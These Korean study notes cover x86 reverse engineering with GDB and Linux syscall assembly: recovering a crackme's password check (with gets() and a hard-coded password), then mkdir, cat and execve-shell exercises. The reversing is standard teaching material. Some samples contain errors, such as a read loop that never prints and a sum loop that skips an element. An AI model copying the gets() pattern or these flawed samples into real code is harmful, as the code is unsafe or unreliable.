0x80484c1 <main+145>: cmp    BYTE PTR [%eax],0x0 // 0이면  0x80484e0 이동

0x80484c4 <main+148>: je     0x80484e0 <main+176>


0x80484c6 <main+150>: mov    %eax,DWORD PTR [%ebp-1028]     //eax에 p의 값을 저장

0x80484cc <main+156>: mov    %edx,DWORD PTR [%ebp-1032]    //edx에 q의 값을 저장 

0x80484d2 <main+162>: mov    %al,BYTE PTR [%eax]                   //eax값을 al로 저장 

0x80484d4 <main+164>: cmp    %al,BYTE PTR [%edx]                   //즉 p의 값과 q의 값을 비교하고  

0x80484d6 <main+166>: je     0x80484e2 <main+178>                //같으면 0x80484e2 이동 

0x80484d8 <main+168>: jmp    0x80484e0 <main+176>              // 다르면 0x80484e0이동 



0x80484da <main+170>: lea    %esi,[%esi]

0x80484e0 <main+176>: jmp    0x80484f0 <main+192>    //jmp 192로 이동한다

0x80484e2 <main+178>: inc    DWORD PTR [%ebp-1028]  //p값을 1증가

0x80484e8 <main+184>: inc    DWORD PTR [%ebp-1032]  //q값을 1증가 

0x80484ee <main+190>: jmp    0x80484b0 <main+128>   // 반복문 실행


while(*p != 0 && *q ! = 0 && *p=*q ){

p++;

q++;

}


0x80484f0 <main+192>: mov    %eax,DWORD PTR [%ebp-1028]   // p값을 eax에 대입

0x80484f6 <main+198>: cmp    BYTE PTR [%eax],0x0                  //값이 0이 아니면 

0x80484f9 <main+201>: jne    0x8048515 <main+229>              //229로 이동 

0x80484fb <main+203>: mov    %eax,DWORD PTR [%ebp-1032]  //q값을 eax에 대입하고 

0x8048501 <main+209>: cmp    BYTE PTR [%eax],0x0                //값이 0이 아니면

0x8048504 <main+212>: jne    0x8048515 <main+229>            //역시 229로 이동한다

p,q의 값이 0을 가리키고 있으면 성공하는 문장이 출력되고 

0x8048506 <main+214>: push   0x8048591  

           

0x804850b <main+219>: call   0x8048370 <printf>

0x8048510 <main+224>: add    %esp,4

0x8048513 <main+227>: jmp    0x8048522 <main+242>

0x8048515 <main+229>: push   0x80485af            

아니면 실패하는 문장을 출력하고 프로그램이 종료된다

0x804851a <main+234>: call   0x8048370 <printf>

0x804851f <main+239>: add    %esp,4

0x8048522 <main+242>: xor    %eax,%eax  //eax를 초기화 하고 

0x8048524 <main+244>: jmp    0x8048526 <main+246>

0x8048526 <main+246>: leave  

0x8048527 <main+247>: ret    


if( *p == 0 && *q == 0 )

{

  printf("Congratulations! You got it!\n"

} else if

  {

    printf("Oops! wrong password! : -P\n"

  }


이제 내용을 종합해 보면

#include <stdio.h>

char pwd[]="th3p4ssw0rd";

//char *pwd ="th3p4ssw0rd";

int main()

{

char buffer[1024];  //[ebp-1024]

char *p;                   //[ebp-1028]

char *q;                  //[ebp -1032]

int length; //[ebp-1036]

printf("Input password:");

gets(buffer);

length=strlen(buffer);

if (length > 0 && buffer[length] == '\n'){

length--;

buffer[length]=0;

}

p=buffer;

q=pwd ;

while(*p != 0 && *q != 0 && *p==*q ){

p++;

q++;

}

if (*p==0 && *q==0){

        printf("Congratulations! You got it\n");

}

else{

        printf("Oops! wrong password! :-p\n");

}

return 0;

}




1. 디버거 사용법: GDB

 

 - bug: 프로그램에 존재하는 잠재적인 오류

 - de-bugging: 버그를 찾는 행위

 - de-bugger: 버그를 찾는걸 도와주는 도구

 

- shell로는 실행중인 메모리에 접근을 못하는데 디버거를 쓰면 접근이 가능하다

 - 대표적으로 IDA

   

가장 일반적인 것은

#>gdb ./hello2_

#>run      //#>file ./hello2  로 바꿔 쓸 수 있다.

#>quit


Program received signal SIGSEGV, Segmentation fault.

0x8048096 in ?? ()

버그가 나타난 곳을 알려준다


gdb 안에서는 절대 명령어만 사용된다



2. 자주 사용하는 GDB 명령어

-명령어 축약: run-> r 

-명령어 완성 : r<tab>, ru<tab>

*프로그램 실행: run

*GDB 종료: quit



*디스어셈블 : disassemble <주소>

  - 특정 주소에 있는 값을 자동으로 어셈블로 해석한다.

C프로그램을 분석할때는 주로 main으로 걸고 

어셈블리어로 구성된 파일을 분석할때는 _start 로 걸어서 분석한다



문법 변환: set disassembly-flavor intel or at

 - gdb에서는 intel방식이 아닌 at&t방식을 지원한다.

 - at&t방식 같은경우 intel과는 다르게 src와 dst가 바뀌어서 표현되는데

 - intel방식으로 배워온 입장에서 보기에 햇갈릴수도 있다. 그래서 이 기능으로 intel문법에 맞게 변환시켜준다.

기본값(default)은 xw이다. 16진수, 4바이트 형태


메모리 or 레지스터 값 확인


*레지스터값 확인: info

          ex) info register

          ex) info register eax ebx ecx


*메모리 값 확인: x/nfu 주소

 - 메모리 덤프에는 x/출력갯수/출력형태/출력단위 덤프할메모리주소

 - 기본형태 : (gdb) x/1xh

 - 출력형태 : 10진수(ㅇ), 8진수(o), 16진수(x), 문자열(s), 명령어(i)

 - 출력단위: 1바이트(b), 2바이트(h), 4바이트(w)


0xbffffb58                     0x400349cb                     0x00000001

saved ebp,                      eip                                    argc

의미한다 



ex) x/20xw = 4바이트 단위(w)로 짜른 메모리값을 16진수(x) 형태로 20개 출력

커널이 사용하는 메모리 말고 3기가는 어디든 확인할 수 있다

디버거라고 해도 커널영역은 사용이 불가능하다.



cpu에 따라 메모리에 작성되는 순서가 다르다


byte order 


little- Endian: Intel (뒤집에서 저장된다)     0x12 0x34 0x56 0x78

실제로 메모리에서는    0x78  0x56  0x34 0x12  


파일 맨 끝이 뒤집혀서 저장되는 것이 아니라 4바이트 기준으로 뒤집혀 들어간다



Big - Endian: Network,  (일반적으로 저장된다 )  0x12 0x34 0x56 0x78

실제로 메모리에서는 0x12 0x34 0x56 0x78


프로세스 실행 흐름 제어


프로세스 실행 멈춤: break points //멈추는 지점을 확인할 수 있다 (대상은 명령어) (s/w 타입)

(gdb) break *0x8048085   


info breakpoints

delete

disable/ enable


프로세스 다시 실행: continue

프로세스 한단계씩 추적: nexti(ni), stepi(si)

악성코드 동적분석-실행을 시켜가면서 분석을 하는것

정적 분석-실행을 하지 않고 분석하는 것 



명령어 등록 

display/i $eip



C-> ASM( 기계어 )


1. 시스템 프로그래밍

 

    - 윈도우즈: win API(Advanced Programing Interface)

    - 리눅스: system call



shell (user)

----------------

커널 

----------------

H/w (Device)

사용자가 커널을 통해 장치에 접근한다

인터페이스는 함수형태로 제공 

세개의 개념을 통틀어서 운영체제



! ltrace Vs. strace

 ltrace: 라이브러리 추적 명령어




 strace: 시스템콜 추적 명령어




리눅스 시스템 콜 같은경우 win api와는 다르게 웹상에 공개되어있어 쉽게 찾아볼 수 있다.

주로 이용하는 시스템 콜 참조 사이트


https://syscalls.kernelgrok.com/


write 함수를 살펴보면




2. write system call


1). C 언어

-systemcall과 동일한 래퍼 함수 제공

-fd: 0,1,2


<파일 디스크립터 번호>

할당되있는 파일디스크립터 번호

0 : 표준입력(키보드)

1 : 표준출력(모니터)

2 : 표준에러

(* 3번부터는 실행파일에 파일핸들을 준다.)


printf 대신 write 를 사용한다

#include <stdio.h>

int main()

{

        write(1,"Hello,world\n",13);

        return 0;

}



2). 어셈블리


- 함수 호출을 통한 시스템콜 함수는 사용하지 않는다.

- 인터럽트를 통한 시스템콜 함수를 사용


-하드웨어 인터럽트 (물리적인 인터럽트)

-소프트웨어 인터럽트 

WRITE 함수



_start:

        mov     eax,    0100b //eax 의 역할은 시스템콜의 번호를 저장한다 wirte 시스템콜이 4번이다. 

        mov     ebx,    1d      // fd =1 표준 출력을 의미한다

        mov     ecx,    string  //const char __user *buf

        mov     edx,    20o    // 최대 길이 

        int     80h //int 가 인터럽트고 80은 시스템콜을 의미한다


        차례 대로 쓰는 인자를 레지스터에 넣고 시스템콜을 한다  급한경우는 edi ,esi 까지 사용이 가능하다

        만약 인자가 3개가 넘어가면 스택을 사용한다.




read 함수



       ;read(0,path,1024);

        mov     eax,    3 ;call number 

        mov     ebx,    0 ;fd 값

        lea     ecx,    [ebp-1024] ;user *buf 사용하고자 하는주소

        mov     edx,    1024 ;최대 길이 

        int     80h





OPEN 함수


     ;open

        mov     eax,    5  ;시스템 콜 번호 

        lea     ebx,    [ebp-1024] ; open할 파일 이름

        mov     ecx,    0  ;flags

        mov     edx,    0 ;int mode

        int     80h



execve 함수



[실습]



1). 디렉터리 생성 :makedir


-read, write, mkdir


#> ./mkdir

path: path

success or fail


C언어로 연습


int main()

{

        char path[1024] = {0,};

        int end=0;


        read(0,path,1024);

        while( path[end] != '\n' ){

                end++;

        }


        path[end]=0;


        printf("%s",path);



        return 0;


}



  - read 는 \n까지 읽어들인다

  - read는 읽어들인 문자열의 길이를 반환

  - 메모리는 지역변수만 사용



C언어 


int main()

{

        char path[1024] = {0,}; // [ebp-1024]

        int end=0; // [ebp-1028]

        int result = 0; // [ebp-1032]


        write(1,"input:",7);

        read(0,path,1024);


        while( path[end] != '\n' ){  //마지막 라인을 찾아준다 

                end++;

        }


        path[end]=0;  // 뉴라인을 삭제 


        result=mkdir(path, 0755); // sys_mkdir 0x27(콜번호) const char __user *pathname int mode(권한)

     

       if (result < 0){

                write(1,"failed\n",7);

        } else {

                write(1, "success\n",8);

        }


        return 0;


}



 어셈블리어                                                                                                                                        

segment .data

fail    db      'failed',10,00

success db      'success',10,00

input   db      'input:',00




segment         .text

global  _start


_start:

        push    ebp  ;프롤로그 

        mov     ebp,    esp

        sub     esp,    1032 ;배열 1024 + 변수 2개 (8)   1032


        mov     ecx,    256  ; 배열 초기화 1024/4 256번 반복한다 

        mov     eax,    0

        lea     edi,    [ebp-1024]

rep     stosb                                   ;path 초기화



        mov     dword [ebp-1028],       0       ;end 초기화

        mov     dword [ebp-1032],       0       ;result 초기화


      

  ;write(1,"input:",7);


        mov     eax,    4 ;call number

        mov     ebx,    1 ; 표준 출력

        mov     ecx,    input ; const char __user *buf

        mov     edx,    7 ; 최대 길이

        int     80h ; 시스템콜 


        ;read(0,path,1024);

        mov     eax,    3 ;call number 

        mov     ebx,    0 ;표준 입력 0

        lea     ecx,    [ebp-1024] ;const char __user *buf

        mov     edx,    1024 ;최대 길이 

        int     80h ; 시스템콜 


while:


   lea     eax,    [ebp-1024] ;path start address

        mov     ebx,    [ebp-1028] ;end memory

        cmp     byte [eax+ebx*1],       10 ;new 라인 인지 비교한다 

        je      end ;뉴 라인이면 end로 jmp 하고

        inc     dword [ebp-1028] ;end 값을 하나 늘려서 while 문을 반복한다

        jmp     while


end:

        ;path[end]=0;

        lea     eax,    [ebp-1024]  ;path 시작 위치를 eax에 두고

        mov     ebx,    [ebp-1028] ; [ebp -1028] end 를 ebx에 저장한다

        mov     byte [eax +ebx *1],     0 [eax+ebx *1] 에 0을 저장한다  


        ;result=mkdir(path, 0755);

        mov     eax,    27h ;mkdir 콜 번호

        lea     ebx,    [ebp-1024] // 시작 위치

        mov     ecx,    0755o // 권한 설정 

        int     80h ; 시스템콜 


        mov     dword [ebp-1032],       eax  ; 값을 1032 result 에 저장한다 



      ;if (result < 0){

                ;write(1,"failed\n",7);

        ;} else {

              ;write(1, "success\n",8);

        ;}


if:

        cmp     dword [ebp-1032],       0 ;result 값을 비교하고 

        jge     .else ;크거나 같으면 .else로 이동한다 


        mov     eax,    4 ;write 시스템 콜 번호

        mov     ebx,    1 ;fd 표준 입출력 

        mov     ecx,    fail ; fail 출력 

        mov     edx,    7 ;최대 길이 

        int     80h ; 시스템콜 

        jmp     .end ;분기문



.else:

        mov     eax,    4

        mov     ebx,    1

        mov     ecx,    success

        mov     edx,    8

        int     80h


.end:

        xor     eax,    eax

        leave

        ret



2). 파일 입/출력: mycat

- open, read, wirte


#> ./mycat

input: /etc/passwd

......

read를 한번 쓸때 마다 얼만큼 썼는지 리턴이 될것이다.

open 할때 flag 0번 

  mode 는 0으로 하면된다


C언어 

int main()


{

  char path[1024] = {0,};

  char buffer[1024] = {0,};

  int size = 0;

  int fd = 0;

  int end = 0;



  write( 1, "input: ", 7 );

  read( 0, path, 1024 );


  while( path[end] != '\n' ) {

    end++;

  }

  

path[end] = 0;


  fd = open( path, 0, 0 );

  size = read( fd, buffer, 1024 );



  while(size == 0) {

    write( 1, buffer, 1024 );

    size = read( fd, buffer, 1024 ); 

}


 어셈블리어 

segment .data

input   db      'input: ', 00


segment .text

global  _start


_start:

        push    ebp                ;프롤로그

        mov     ebp,    esp        

        sub     esp,    2060      ;1024+1024+4+4+4 


        mov     ecx,    512       ;2048 을 한번에 초기화 한다

        mov     eax,    0          ; eax에 0을 넣어주고

        lea       edi,    [ebp-2048] ; 배열 시작 위치 

        rep     stosd ; 반복해서 초기화 한다 


        mov     dword [ebp-2052],       0       ; size

        mov     dword [ebp-2056],       0       ; fd

        mov     dword [ebp-2060],       0       ; end


        ;write

        mov     eax,    4        ;시스템콜 번호    

        mov     ebx,    1        ;파일 출력

        mov     ecx,    input   ; *buf

        mov     edx,    7        ;최대 사이즈

        int     80h                ;시스템콜


        ;read

        mov     eax,    3        ;시스템 콜 번호

        mov     ebx,    0        ;파일 입력

        lea     ecx,    [ebp-1024]     ;path 시작 주소

        mov     edx,    1024        ;최대 길이

   int     80h                   ;시스템 콜


while1:


        lea     eax,    [ebp-1024]        ;path 시작 주소 위치

        mov     ebx,    [ebp-2060]      ;end  값 ebx에 저장 

        cmp     byte [eax + ebx * 1],   10 ; eax+ end *1이 뉴라인 인지 비교한다 

        je      .end ; 뉴라인이면 .end로 이동 

        inc     dword [ebp-2060] ; end값을 1씩 증가 해서 while1 반복문 처리한다

        jmp     while1




.end:

;path[end] = 0;


        lea     eax,    [ebp-1024]  ;path 시작위치 주소를 가지고오고

        mov     ebx,    [ebp-2060]  ; end가 뉴라인인 값을 가지고 오고 ebx에 저장한다  

        mov     byte [eax + ebx *1],    0  ; eax+end가 뉴라인 *1 ,0을 대입해준다 



        ;open

        mov     eax,    5                ;시스템 콜번호

        lea     ebx,    [ebp-1024]    ;open할 파일 이름

        mov     ecx,    0                ;flag

        mov     edx,    0                ;open 0

        int     80h                        ; 시스템콜


        mov     dword [ebp-2056],       eax     eax를 fd에 저장 한다 



    ;size = read( fd, buffer, 1024 );

        mov     eax,    3                 ;시스템 콜 번호

        mov     ebx,    [ebp-2056]    ;위에 저장한 fd 번호 [ebp-2056]

        lea     ecx,    [ebp-2048]      ;시작 위치 주소를 가져온다 buffer의 시작 주소

        mov     edx,    1024            ;최대 길이         

        int     80h                         ; 시스템 콜


        mov     dword [ebp-2052],       eax      ;size 에 대입해준다


while2:


        cmp     dword [ebp-2052],       0    ;;size 가 0 즉 남은 내용이 없으면 end로 끝낸다

        je      end ;에필로그 하고 끝낼려고 


        ;write

        mov     eax,    4                ;만약 size가 남았으면 write 해준다 콜번호

        mov     ebx,    1                ;fd 1

        lea     ecx,    [ebp-2048]     ;시작 위치

        mov     edx,    1024           ; 최대 길이

        int     80h                        ; 시스템 콜


        ;read

        mov     eax,    3

        mov     ebx,    [ebp-2056]  ;fd 번호 

        lea     ecx,    [ebp-2048]

        mov     edx,    1024

        int     80h


        mov     dword [ebp-2052],       eax        ;size에 대입해준다

        jmp     while2


end:


        xor     eax,    eax

        leave

   ret



3). 쉘: myshell

- read, execve

-명령어를 입력-> 실행

-execve, read

int execve (const char *filename, char *const argv [], char *const envp[]);


1. 실행할 명령어의 종류

2. 아규먼트(포인터 배열)

3. 환경 변수에 대한 포인터


#include <stdio.h>

int main()
{


        char *argv[2]= {0,}; //[ebp-8]
        char buffer[1024] ={0,};// [ebp-1032]
        int  end =0; // [ebp-1036]

        write(1, "input:", 7);
        read( 0, buffer, 1024);

        while( buffer[end] != '\n') {
         end ++;
        }

        //while (*(buffer+end) != '\n') {
end ++;
        }


        buffer[end] = 0;

        argv[0] = buffer;   // [ebp-8]
        argv[1] = NULL;    // [ebp-4]

        execve( buffer, argv, NULL);

        return 0;

}


1.변수 초기화

        char *argv[2]= {0,}; //[ebp-8]
        char buffer[1024] ={0,};// [ebp-1032]
        int  end =0; // [ebp-1036]


_start:
        push    ebp     
        mov     ebp,    esp     
        sub     esp,    1036

        mov     dword [ebp-4],  0
        mov     dword [epb-8],  0

        mov     ecx,    256
        xor     eax,    eax
        lea     edi,    [ebp-1032]
rep     stosb

        mov     dword [ebp-1036],       0

        
2. write, read

  write(1, "input:", 7);
        read( 0, buffer, 1024);

  
        mov     eax,    4
        mov     ebx,    1
        mov     ecx,    prompt  
        mov     edx,    7
        int     80h


        mov     eax,    3
        mov     ebx,    0
        lea     ecx,    [ebp-1032]
        mov     edx,    1024
        int     80h


3, 뉴라인 제거 
        while( buffer[end] != '\n') {
         end ++;
        }

        //while (*(buffer+end) != '\n') {
end ++;
        }
   buffer[end] = 0;


loop:   

        lea     eax,    [ebp-1032]      ;buffer
        mov     ebx,    [ebp-1036]      ;end
        cmp     byte [eax + ebx * 1], 10
        je      .end
        inc     dword [ebp-1036]
        jmp     loop
.end:   
        lea     eax,    [ebp-1032]
        mov     ebx,    [ebp-1036]
        mov     byte [eax + ebx *1], 0


4.

lea     eax,    [ebp-1032]
        mov     dword [ebp-8],  eax
        mov     dword [ebp-4],  0

        mov     eax,    11
        lea     ebx,    [ebp-1032]
        lea     ecx,    [ebp-8]
        mov     edx,    0
        int     80h

        xor     eax,    eax

        leave
        ret


main 함수의 인자



-int main();

-int main( int argc, char *argv[ ] );


주소냐 메모리냐 구분만 잘해주면 된다.


  #> ./a.out hello

  hello

      * 위 내용은 hello라는 인자를 받아서 그 인자의 내용인 hello를 출력하는 프로그램이다.


  - 포인터 배열 사용

  - 포인터 배열: 배열인데 주소를 원소로 하는

  - 배열 포인터: 포인터인데 배열을 나타내는



* int argc 인자의 경우 argument의 갯수를 나타낸다.

* 실행 프로그램의 이름도 argument로 친다. ( 첫번째 인자 )

* char *argv[]의 시작 주소를 가져올때는 [ebp+12] 위치에서 가져온다.



먼저 C 언어로 확인해 보면


1).인자가 없는 경우


int main( int argc, char *argv[] )

{

   printf("argc: %d\n", argc);  // 인자의 개수, 최소는 arg1, null 이다

   printf("argv: 0x%08x\n", argv);  // argv의 주소

   printf("*argv: 0x%08x\n", *argv);  // 주소의 메모리 호출 거기에도 주소가 들어있음.   [argv]

   printf("*argv[]: %c\n", **argv);  // 메모리의 첫번째 문자  [[argv]] 

   printf("*argv[]: %s\n", argv[0]); // 첫번째 인자의 메모리. 문자열을 출력한다

   printf("%s\n", argv[1]);  // 두번째 인자의 문자열을 호출

   return 0;

}






어셈블리


extern printf


segment         .data

prompt_hex      db      'address:0x%08x',10,00

prompt_chr      db      'memory: %c',10,00

prompt_int      db      'argc: %d',10,00


segment         .text

global  main


main:


        push    ebp

        mov     ebp,    esp


        push    dword [ebp+8]

        push    prompt_int

        call    printf

        add     esp,    8



        mov     eax,    [ebp+12]

        push    eax

        push    prompt_hex

        call    printf

        add     esp,    8


        mov     eax,    [ebp+12]

        mov     ebx,    [eax]

        push    ebx

        push    prompt_hex

        call    printf

        add     esp,    8


        mov     eax,    [ebp+12]

        mov     ebx,    [eax]

        mov     ecx,    [ebx]

        push    ecx

        push    prompt_chr

        call    printf

        add     esp,    8


        xor     eax,    eax


        leave

        ret



문자를 넘겨줄때는 주소를 넘겨줘야 %s로 온전히 출력이 가능하다



   push    ebp

        mov     ebp,    esp


        push    dword [ebp+8]

        push    prompt_int

        call    printf

        add     esp,    8


[ebp + 8] 에는 argc 값이 들어 있다. 

따라서 printf 하면 argc 값이 들어가 있을것이다



   mov     eax,    [ebp+12]

        push    eax

        push    prompt_hex

        call    printf

        add     esp,    8


[ebp+12] 에는 argv 의 주소 값이 들어가 있다

따라서 printf 하면 argv의 주소 값이 출력된다




   mov     eax,    [ebp+12]

        mov     ebx,    [eax]

        push    ebx

        push    prompt_hex

        call    printf

        add     esp,    8



[ebp+12] 에 한번더 [] 를 씌우면 그 주소가 나타내는 포인터 배열이 한번더 출력된다  그 값은 주소 값이다




mov     eax,    [ebp+12]

        mov     ebx,    [eax]

        mov     ecx,    [ebx]

        push    ecx

        push    prompt_chr

        call    printf

        add     esp,    8



[[[ebp+12]]]  이렇게 되면 이제 메모리 값이 출력된다

그 값은 인자의 첫번째 글자 일것이다.


 









ㅇ예제는 저번에 사용했던 reverse.asm 을 사용하고


1. reverse(스택)

-문자 배열


C언어


int main()

{

char buffer[1024]={0,};

int len = 0;

printf("input:");

gets(buffer);

while (buffer[len] != 0) {

len++;

}

len --;

while(len>=0){

printf("c",buffer[len]);

len--;

}

printf("\n");

return 0;

}


어셈블리 언어


extern printf

extern gets



segment         .data

prompt1         db      'input:',00

prompt2         db      '%c',00

prompt3         db      10,00

prompt4         db      '%s',10,00


segment         .text

global  main


main:

        push    ebp

        mov     ebp,    esp

        sub     esp,    1028


        mov    ecx,    256

        xor     eax,    eax

        lea     edi,    [ebp-1024]

        rep    stosd


        mov     dword [ebp-1028],       0


        push    prompt1

        call      printf

        add     esp,    4


        lea     eax,    [ebp-1024]

        ;mov    eax,    ebp

        ;sub    eax,    1024

        push    eax

        call    gets

        add     esp,    4


while1:

        mov     ebx,    dword [ebp-1028]

        cmp     byte [ebp-1024 +  ebx * 1],     0

        je      .end

        inc     dword [ebp-1028]

        jmp     while1


.end:

        dec     dword [ebp-1028]


while2:

        mov     ebx,    dword [ebp-1028]

        cmp     ebx,    0

        jl      .end


        movzx   eax,    byte [ebp-1024 + ebx * 1]

        push    eax

        push    prompt2

        call    printf

        add     esp,    8


        dec     dword [ebp-1028]

        jmp     while2


.end

        push    prompt3

        call    printf

        add     esp,    4


        xor     eax,    eax


        leave

        ret


stack 에서 변수 공간을 할당할때는 선언된 순서대로 잡아준다

배열의 시작주소는 지정된 크기중 가장 낮은 주소에 위치한다.


처음 부터 확인해 보면 

        push    ebp

        mov     ebp,    esp

        sub     esp,    1028


프롤로그 함수와 변수 2개의 공간을 확보한다.


그림으로 확인해 보면 


len 시작 위치는 dword [ebp-1028]

1024 buffer buffer 시작위치는 byte [ebp-1024] 

saved ebp

saved eip



배열의 시작주소는 지정된 크기중 가장 낮은 주소에 위치한다.


배열이 시작하는 위치를 알아야 불러오는게 가능하다

byte [ebp-1024]

byte [ebp-1023]

byte [ebp-1022]

byte [ebp-1021]





지역변수는 꼭 초기화로 해주어야 한다.

stack은 여러 프로그램이 사용하기 때문에 꼭 초기화 해주어야한다.

 

배열의 크기가 작을때는 

 mov     dword [ebp-1024],       0

 mov     dword [ebp-1020],       0

 ...

이런식으로 초기화 해준다.


       mov    ecx,    256

        xor     eax,    eax

        lea     edi,    [ebp-1024]

        rep    stosd



ecx 카운터

edi 목적지 주소


한칸에 4바이트씩 구성되어 있기 때문에 256 번 반복을 해서 ecx에 256을 대입하고

eax 를 xor을 이용해서 초기화 시켜준다


lea edi, [ebp-1024]

배열의 시작 주소인 [ebp-1024] 를 edi에 저장한다

edi는 목적지 주소이다

rep stosd 반복한다



그렇치 않으면 ESI, EDI:STOS, LORD, REP ... 레지스터를 이용해서 초기화 한다.

extern printf

extern gets



초기화 하는 방법 

char buffer[1024]={0,};


main:

        push    ebp

        mov     ebp,    esp

        sub     esp,    1028


        mov     ecx,    1024

        xor     eax,    eax

        mov     al,     65

        lea     edi,    [ebp-1024]

        rep     stosb


        lea     eax,    [ebp-1024]

        push    eax

        push    prompt4

        call    printf


        add     esp,    8

        leave

        ret



 ;mov    edi,    [ebp-1024] //메모리의 값을 가지고온다.

 lea     edi,    [ebp-1024] //[]있다고 메모리가 아닌 주소의 값을 가지고온다.



mov     dword [ebp-1028],       0

len 변수를 0으로 초기화 시켜준다

        push    prompt1
        call      printf
        add     esp,    4

입력 받는 문장을 출력하고 add로 esp를 돌려준다


lea     eax,    [ebp-1024]
        ;mov    eax,    ebp
        ;sub    eax,    1024
        push    eax
        call    gets
        add     esp,    4

이제 배열에 입력받은 값을 저장해야하는데 
lea로 배열 처음 시작 주소인 [ebp-1024] 로 이동해도 좋고 
아니면 mov로 eax, ebp  기준점으로 이동한후 sub로 1024를 빼주어도 시작 주소이다
call gets 함수를 부르고  add esp, 4 해준다


// 여기 까지가 C 언어 에서 
char buffer[1024]={0,};
int len = 0;
printf("input:");
gets(buffer);

변수 값을 초기화 해주고 배열buffer 에 입력받아 저장해 주었다.

while (buffer[len] != 0) {
len++;
}
len --;

반복문 처리를 해주면

while1:
        mov     ebx,    dword [ebp-1028]
        cmp     byte [ebp-1024 +  ebx * 1],     0
        je      .end
        inc     dword [ebp-1028]
        jmp     while1

.end:
        dec     dword [ebp-1028]


len의 주소인 [ebp-1028] 의 값을 ebx에 저장하고
ebx=0이 저장된다
배열에 abc가 저장되었다고 생각하면 

cmp     byte [ebp-1024 +  ebx * 1],     0

cmp byte [ebp-1024 배열의 시작 주소 + 0 ], 0 
이렇게 되면 배열의 시작 주소와 0을 비교해서 같으면 .end 로 점프한다
배열의 시작이 a 니까 0이 아니라서  아래 문장이 실행된다

        inc     dword [ebp-1028]
        jmp     while1

ebp-1028 즉 len 이 1 증가하고 무조건 분기로 while 로 이동한다

위의 과정을 그림으로 표현하면  



이렇게 표시가 될것이다 

이제 len의 값이 하나씩 늘어서 만약 4가 되면 cmp 비교 값에 의해 .end 로 이동하고 반복문은 종료가 될것이다 


.end:
        dec     dword [ebp-1028]

.end 에서는 len 의 값을 1 감소 시켰다 0나온 값보다 하나 작아야 마지막 값을 가리키는 배열 개수가 출력되기 때문이다

while(len>=0){
printf("c",buffer[len]);
len--;
}

두번째 반복문을 처리해주면 

while2:
        mov     ebx,    dword [ebp-1028]
        cmp     ebx,    0
        jl      .end

        movzx   eax,    byte [ebp-1024 + ebx * 1]
        push    eax
        push    prompt2
        call    printf
        add     esp,    8

        dec     dword [ebp-1028]
        jmp     while2

.end
        push    prompt3
        call    printf
        add     esp,    4



mov     ebx,    dword [ebp-1028]
마지막 배열값인 len 을 ebx에 저장하고
cmp ebx, 0 
jl     .end

len 의 값을 비교해서 0보다 작으면 ,end 로 이동하고  그전에는 이제 배열에 있는 값을 출력해야한다
movzx   eax,    byte [ebp-1024 + ebx * 1]

abc를 대입했다고 가정했으니까 len은 3이 될것이다 ebx에 3을 대입하고 movzx를 수행하면 eax에는 배열 마지막 값인 c가 저장될 것이다.

배열의 값을 끝에서 부터 1개씩 출력한다. 
그리고 esp를 push 한 만큼 돌려주고 len 값을 하나씩 낮춰서 반복문을 진행하고 끝난다



        xor     eax,    eax

        leave
        ret

에필로그 해주고 끝난다 

형식 : MOVZX [OPER1] [OPER2]
의미 : OPER2의 내용을 OPER1에 복사한다. 이때, 확장되고 채워지지 않는 나머지 비트(공간)를 '0'으로 채운다.

위 MOV 같은 경우는 OPER1과 OPER2의 사이즈가 동일하여야지 가능하다. 하지만 이 명령어는 두 OPER 간의 사이즈가 다를 경우 사용된다. 기본적으로, 복사하는 곳의 사이즈가 OPER1의 사이즈가 OPER2의 사이즈보다 커야한다. 때문에, MOVZ'X'의 'X'가 확장의 의미이다.



2. 배열의 총합(스택)

-숫자 배열

-int sum(int *array, int len);



1), C 언어

 

           [ebp+8]    [ebp+12]

int sum(int *array, int len)

{

int sum=0;      [ebp-4]

len --;

for( ; len > 0; len--){

sum = sum + array[len];

}

return sum;

}


int main( )

{


int array[ ]={10,20,30,40,50};

int result = 0;

result = sum( array,5 );

printf("sum:%d\n",result);


return 0;


}



2). 어셈블리


extern printf


segment         .data

prompt          db      'sum:%d',10,00



segment         .text

global  main


sum:

        push    ebp

        mov     ebp,    esp

        sub     esp,    4


        mov     dword [ebp-4],  0

        dec     dword [ebp+12]

for:

        mov     ebx,    dword [ebp+12]

        cmp     ebx,    0

        jl      end

        mov     edx,    dword [ebp+8]

        mov     eax,    [ edx + ebx *4 ]

        add     dword [ebp-4],eax

        dec     dword [ebp+12]

        jmp     for


end:


        mov     eax,    dword [ebp-4]

        leave

        ret


main:

        push    ebp

        mov     ebp,    esp

        sub     esp,    24


        mov     dword [ebp-4], 10

        mov     dword [ebp-8], 20

        mov     dword [ebp-12], 30

        mov     dword [ebp-16], 40

        mov     dword [ebp-20], 50

        mov     dword [ebp-24], 0


        push 5

        lea     eax,    [ebp-20]

        push    eax

        call    sum

        add     esp,    8


        mov     dword [ebp-24],eax

        push    dword [ebp-24]

        push    prompt

        call    printf

        add     esp,    8


        xor     eax,    eax



        leave

        ret



이것도 하나하나 분석해보면 


main:

        push    ebp

        mov     ebp,    esp

        sub     esp,    24


배열 20바이트에 result 4 바이트해서 총 24 바이트 값을 확보한다

배열이 초기화가 되어 있는 경우에는 반복문으로 입력하는게 아니라 하나하나 입력해준다 

 


   mov     dword [ebp-4], 10

        mov     dword [ebp-8], 20

        mov     dword [ebp-12], 30

        mov     dword [ebp-16], 40

        mov     dword [ebp-20], 50

        mov     dword [ebp-24], 0


배열의 시작 위치는 ebp-20 이고 

시작부터 반대로 대입시켜 준다 50,40,30,20,10 순서대로 초기화 시켜주고

dword [ebp-24] result 값을 0으로 초기화 시켜준다


이제 sum 함수를 출력하는데  

result = sum( array,5 );


    push 5

        lea     eax,    [ebp-20]

        push    eax


뒤에서 부터 입력하고 call 해주어야 한다 

우선 숫자 값인 5를 push 하고 array의 시작 주소인 [ebp-20] 를 eax에 넣고 push 시켜준다.


        call    sum

        add     esp,    8

이제 sum 함수를 호출 시켜주고 push push 에 대한 esp 메모리를 회수한다

call 함수는 


push eip +jmp sum = call sum

복귀 주소인 eip를 저장하고 jmp sum 하는 의미를 가지고 있다





   

sum:

        push    ebp

        mov     ebp,    esp

        sub     esp,    4


        mov     dword [ebp-4],  0

        dec     dword [ebp+12]

for:

        mov     ebx,    dword [ebp+12]

        cmp     ebx,    0

        jl      end

        mov     edx,    dword [ebp+8]

        mov     eax,    [ edx + ebx *4 ]

        add     dword [ebp-4],eax

        dec     dword [ebp+12]

        jmp     for


end:


        mov     eax,    dword [ebp-4]

        leave

        ret



sum 함수로 와서 보면 

int sum=0; 


지역 변수가 있으니까 프롤로그 하고 sub 4 로 공간을 확보 했다


